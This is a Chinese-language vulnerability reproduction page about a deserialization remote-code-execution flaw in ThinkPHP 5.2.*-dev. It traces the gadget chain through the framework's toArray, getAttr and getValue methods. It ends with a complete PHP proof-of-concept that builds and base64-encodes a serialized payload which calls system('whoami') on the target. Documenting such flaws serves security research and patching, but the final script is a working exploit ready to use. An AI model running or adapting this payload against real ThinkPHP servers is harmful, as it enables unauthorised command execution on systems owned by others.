menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 005-Thinkphp 反序列化漏洞 chevron_right 004-Thinkphp 5.2._-dev 反序列化漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    004-Thinkphp 5.2._-dev 反序列化漏洞.md
    3.82 KB / 2021-07-17 00:01:32
        # Thinkphp 5.2.*-dev 反序列化漏洞
    
    ### 一、漏洞简介
    
    所有Thinkphp版本下载链接
    
    https://packagist.org/packages/topthink/framework
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    环境搭建
    
    
    ```
    composer create-project topthink/think=5.2.*-dev v5.2
    ```
    
    poc演示截图
    
    ![](images/15893521919748.png)
    
    
    调用链
    
    ![](images/15893521984990.png)
    
    
    单步调试
    
    可以看到前面的链跟tp5.1.x的一样,这里不在列举,直接进去toArray函数,可以看到$data可控
    
    
    ```php
    public function toArray(): array
    {
    。。。
    $data = array_merge($this->data, $this->relation);
    
    foreach ($data as $key => $val) {
       if ($val instanceof Model || $val instanceof ModelCollection) {
         // 关联模型对象
         if (isset($this->visible[$key])) {
          $val->visible($this->visible[$key]);
         } elseif (isset($this->hidden[$key])) {
          $val->hidden($this->hidden[$key]);
         }
         // 关联模型对象
         $item[$key] = $val->toArray();
       } elseif (isset($this->visible[$key])) {
         $item[$key] = $this->getAttr($key);
       } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
         $item[$key] = $this->getAttr($key);
       }
    }
    。。。
    ```
    
    
    ```php
    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = true;
            $value    = null;
        }
    
        return $this->getValue($name, $value, $relation);
    }
    ```
    
    
    ```php
    public function getData(string $name = null)
       {
           if (is_null($name)) {
               return $this->data;
           }
    
           $fieldName = $this->getRealFieldName($name);
    
           if (array_key_exists($fieldName, $this->data)) {
               return $this->data[$fieldName];
               ...
           }
       }
    ```
    
    
    ```php
    protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : App::parseName($name);  //this->strict默认为true
    }
    ```
    
    可以看到getAttr函数中的$value可控,那么导致$this->getValue($name, $value, $relation);这里的三个参数都可控,跟进$this->getValue($name, $value, $relation);
    
    
    ```php
    protected function getValue(string $name, $value, bool $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);
        $method    = 'get' . App::parseName($name, 1) . 'Attr';
    
        if (isset($this->withAttr[$fieldName])) {
           if ($relation) {
             $value = $this->getRelationValue($name);
           }
    
           $closure = $this->withAttr[$fieldName];
           $value   = $closure($value, $this->data);
    ```
    
    这里$fieldName、$this->withAttr,导致$closure也可控,最终直接产生RCE。如下图
    
    ![](images/15893522599280.png)
    
    
    补充:
    
    
    ```php
    <?php
    
    $a = array();
    system('whoami',$a);
    ```
    
    ![](images/15893522712339.png)
    
    
    ![](images/15893522745213.png)
    
    
    poc v5.2.*-dev
    
    
    ```php
    <?php
    namespace think\process\pipes {
        class Windows
        {
            private $files;
            public function __construct($files)
            {
                $this->files = array($files);
            }
        }
    }
    
    namespace think\model\concern {
        trait Conversion
        {
            protected $append = array("Smi1e" => "1");
        }
    
        trait Attribute
        {
            private $data;
            private $withAttr = array("Smi1e" => "system");
    
            public function get($system)
            {
                $this->data = array("Smi1e" => "$system");
            }
        }
    }
    namespace think {
        abstract class Model
        {
            use model\concern\Attribute;
            use model\concern\Conversion;
        }
    }
    
    namespace think\model{
        use think\Model;
        class Pivot extends Model
        {
            public function __construct($system)
            {
                $this->get($system);
            }
        }
    }
    namespace{
        $Conver = new think\model\Pivot("whoami");
        $payload = new think\process\pipes\Windows($Conver);
        echo base64_encode(serialize($payload));
    }
    ?>
    ```
    
    links
    file_download